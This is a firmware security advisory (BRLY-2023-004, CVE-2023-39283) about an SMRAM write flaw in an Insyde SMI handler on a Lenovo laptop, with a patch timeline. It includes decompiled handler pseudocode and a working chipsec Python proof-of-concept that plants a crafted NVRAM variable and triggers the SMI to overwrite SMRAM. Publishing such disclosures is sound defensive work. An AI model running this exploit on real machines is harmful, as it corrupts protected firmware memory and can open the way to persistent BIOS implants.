Header bannerHeader banner
Advisory ID:
BRLY-2023-004

[BRLY-2023-004] SMM memory corruption vulnerability in SMM driver (SMRAM write).

March 7, 2024
Severity:
High
CVSS Score
8.2
Public Disclosure Date:
March 7, 2024

Summary

Binarly REsearch Team identified an SMM memory corruption vulnerability allowing a possible attacker to write fixed or predictable data to SMRAM. Exploiting this issue could lead to escalating privileges to SMM.
Vendors Affected Icon

Vendors Affected

Insyde
Lenovo
Affected Products icon

Affected Products

Yoga 7 14IAL7

Potential Impact

An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an environment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability could potentially be used by threat actors to influence the early boot process of the operating system.

Summary

Binarly REsearch Team identified an SMM memory corruption vulnerability allowing a possible attacker to write fixed or predictable data to SMRAM. Exploiting this issue could lead to escalating privileges to SMM.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-004
  • Lenovo PSIRT assigned CVE identifier: CVE-2023-39283
  • CVSS v3.1 8.2 High AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Intel firmwares with confirmed impact by Binarly team

Device/Firmware File Name SHA256 (File PE32 section) File GUID
J1CN38WW CsmInt10HookSmm ec6d14c1add3a9175cd5bb85d52edf245e8c1d1a035e11a30dccf066aaf68f22 d8803829-0373-4475-9767-461edea28813

Potential impact

An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability could potentially be used by threat actors to influence the early boot process of the operating system.

Vulnerability description

The vulnerable SMI handler located at offset 0x1D74 (SwSmiInputValue = 0x74). The pseudocode of vulnerable handler is presented below:

__int64 __fastcall SwSmiHandler(
        EFI_HANDLE DispatchHandle,
        const void *Context,
        void *CommBuffer,
        UINTN *CommBufferSize)
{
  __int64 result;
  UINTN CpuIndex;
  bool CpuIndexNotFound;
  BIOS_VIDEO_DEV_SIMPLE *LocalModeData;
  int VbeModeNumber;
  __int64 i;
  BIOS_VIDEO_SIMPLE_MODE_DATA *SimpleModeData;
  BIOS_VIDEO_SIMPLE_MODE_DATA *ModeData;
  __int64 Index;
  UINTN FrameBufferSize;
  int _Rax;
  int _Rdx;
  int _Rbx;
  EFI_SMM_CPU_PROTOCOL *EfiSmmCpuProtocol;
  __int64 DataSize;
  BIOS_VIDEO_DEV_SIMPLE *Int10HookPrivateDataVariable;

  EfiSmmCpuProtocol = 0;
  _Rax = 0;
  _Rbx = 0;
  _Rdx = 0;
  result = gSmst_0->SmmLocateProtocol(&EFI_SMM_CPU_PROTOCOL_GUID, 0, &EfiSmmCpuProtocol);
  if ( result >= 0 )
  {
    CpuIndex = 0;
    CpuIndexNotFound = gSmst_0->NumberOfCpus == 0;
    if ( gSmst_0->NumberOfCpus )
    {
      while ( 1 )
      {
        EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RAX, CpuIndex, &_Rax);
        EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RDX, CpuIndex, &_Rdx);
        if ( _Rax == 0x74 && _Rdx == 0xB2 )
          break;
        CpuIndexNotFound = ++CpuIndex == gSmst_0->NumberOfCpus;
        if ( CpuIndex >= gSmst_0->NumberOfCpus )
          goto _Exit;
      }
      EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &_Rbx);
      CpuIndexNotFound = CpuIndex == gSmst_0->NumberOfCpus;
    }
_Exit:
    if ( CpuIndexNotFound )
      return EFI_NOT_FOUND;
    LocalModeData = gVideoDevSimple;
    VbeModeNumber = _Rbx & 0x1FF;
    if ( !gVideoDevSimple )
    {
      DataSize = 8;
      if ( CommonGetInt10HookPrivateDataVariable() < 0 )
        return 0;
      LocalModeData = Int10HookPrivateDataVariable;
      gVideoDevSimple = Int10HookPrivateDataVariable;
    }
    i = 0;
    SimpleModeData = LocalModeData->SimpleModeData;
    if ( LocalModeData->MaxMode )
    {
      for ( ModeData = LocalModeData->SimpleModeData;
            LOWORD(ModeData->VbeModeNumber) != VbeModeNumber || ModeData->FrameBufferSize <= 0x800000;
            ++ModeData )
      {
        if ( ++i >= LocalModeData->MaxMode )
          return 0;
      }
      Index = i;
      FrameBufferSize = SimpleModeData[Index].FrameBufferSize;
      if ( FrameBufferSize )
        ZeroMem(SimpleModeData[Index].LinearFrameBuffer, FrameBufferSize); // SimpleModeData[Index].LinearFrameBuffer is attacker controlled
    }
    return 0;
  }
  return result;
}

SimpleModeData[Index].LinearFrameBuffer pointer is controllable by a potential attacker. It can be specified via buffer pointed by the contents of NVRAM variable Int10HookPrivateDataVariable {80469736-6678-4857-ab14-cfdbda3f4872}.

The pointer SimpleModeData[Index].LinearFrameBuffer is not validated to make sure the pointed buffer is not overlapping SMRAM. In this way, a potential attacker could corrupt the SMRAM.

The limitation for exploitation is that attacker cannot write <= 0x800000 bytes.

A more detailed process for crafting inputs for exploitation is shown in the following script:

import ctypes
import struct
import hexdump
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)

SMRAM = cs.cpu.get_SMRAM()[0]
SMI_NUM = 0x74


# BIOS_VIDEO_SIMPLE_MODE_DATA
class BiosVideoSimpleModeData(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("VbeModeNumber", ctypes.c_uint64),
        ("LinearFrameBuffer", ctypes.c_uint64),
        ("FrameBufferSize", ctypes.c_uint64),
    ]


# BIOS_VIDEO_DEV_SIMPLE
class BiosVideoDevSimple(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("MaxMode", ctypes.c_uint64),
        ("SimpleModeData", ctypes.c_uint64),
    ]


def main():
    print(f"SMRAM: {SMRAM:#x}")

    rbx = 0x1337
    vbe_mode_number = rbx & 0x1FF

    bios_video_dev_simple_buffer_address = (
        0x419AAF98 + 0x1000  # any writable address in physical memory
    )
    # write address to variable
    uefi.set_EFI_variable(
        "Int10HookPrivateDataVariable",
        "80469736-6678-4857-ab14-cfdbda3f4872",
        struct.pack("<Q", bios_video_dev_simple_buffer_address),
        8,
    )

    bios_video_dev_simple_buffer = BiosVideoDevSimple()
    bios_video_dev_simple_buffer.MaxMode = 1
    bios_video_dev_simple_buffer.SimpleModeData = (
        bios_video_dev_simple_buffer_address + 0x1000  # any writable address in physical memory
    )
    cs.helper.write_physical_mem(
        bios_video_dev_simple_buffer_address,
        len(bytes(bios_video_dev_simple_buffer)),
        bytes(bios_video_dev_simple_buffer),
    )

    bios_video_dev_simple_mode_data = BiosVideoSimpleModeData()
    bios_video_dev_simple_mode_data.VbeModeNumber = vbe_mode_number
    bios_video_dev_simple_mode_data.LinearFrameBuffer = SMRAM
    bios_video_dev_simple_mode_data.FrameBufferSize = 0x900000

    cs.helper.write_physical_mem(
        bios_video_dev_simple_buffer.SimpleModeData,
        len(bytes(bios_video_dev_simple_mode_data)),
        bytes(bios_video_dev_simple_mode_data),
    )

    rax = 0x74
    rdx = 0xB2
    intr.send_SW_SMI(0, SMI_NUM, 0, rax, rbx, 0, rdx, 0, 0)

    hexdump.hexdump(
        cs.helper.read_physical_mem(bios_video_dev_simple_buffer_address, 16)
    )
    hexdump.hexdump(
        cs.helper.read_physical_mem(bios_video_dev_simple_buffer.SimpleModeData, 24)
    )


if __name__ == "__main__":
    main()

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Insyde/Lenovo PSIRT is notified 2023-06-23
Insyde/Lenovo PSIRT assigned CVE number 2023-09-15
Insyde/Lenovo PSIRT provide patch release 2023-10-31
BINARLY public disclosure date 2024-03-07

Acknowledgements

Binarly REsearch Team

Tags
Lenovo
FWHunt
See if you are impacted now with our Firmware Vulnerability Scanner